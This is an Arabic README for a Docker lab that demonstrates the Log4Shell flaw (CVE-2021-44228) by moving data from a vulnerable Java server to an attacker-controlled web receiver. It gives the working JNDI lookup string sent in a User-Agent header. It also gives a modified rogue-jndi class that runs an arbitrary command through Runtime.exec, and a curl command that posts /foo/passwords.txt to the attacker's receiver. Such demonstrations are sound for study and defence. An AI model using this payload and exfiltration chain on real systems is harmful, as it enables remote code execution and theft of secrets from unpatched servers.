CVE-2021-44228-docker-example

مثال بسيط عن CVE-2021-44228 لنقل البيانات من خادم ضعيف إلى خدمة ويب يتحكم فيها المهاجم. جميع المكوّنات المعنية تعمل عبر Docker.

المكوّنات

هذا خادم Java قياسي يعمل كضحية. يعمل بالنسخ التالية:

هذا الخادم قابل للاستغلال باستخدام هذا الإعداد.

معلومات إضافية:

محتويات passwords.txt:

my secret

هذا خادم Java قياسي يعمل كجامع بيانات للمهاجم. يعمل بالنسخ التالية:

معلومات إضافية:

هذا خادم LDAP مدعوم من rogue-jndi. تم تعديل صفّه ExportJava بحيث يتم تنفيذ الأوامر المُمرَّرة عبر الخيار -c.

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

عندما يطلبه الخادم الضعيف، سيستجيب بصف ينفّذ الأمر التالي عند إنشائه:

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

وهذا سيرسل فعليًا محتوى /foo/passwords.txt إلى نقطة النهاية المُجهَّزة لدى جهاز الاستقبال الخبيث.

تفعيل الثغرة بالتشغيل:

curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging

فحص مخرجات السجل لمكوّن الاستقبال الخبيث بالتشغيل:
```
docker logs --timestamps docker_malicious-receiver_1
```
يجب أن يظهر فيها محتوى ملف passwords.txt الخاص بالخادم.
إيقاف حاويات المكوّنات بالتشغيل:
```
./stop.sh
```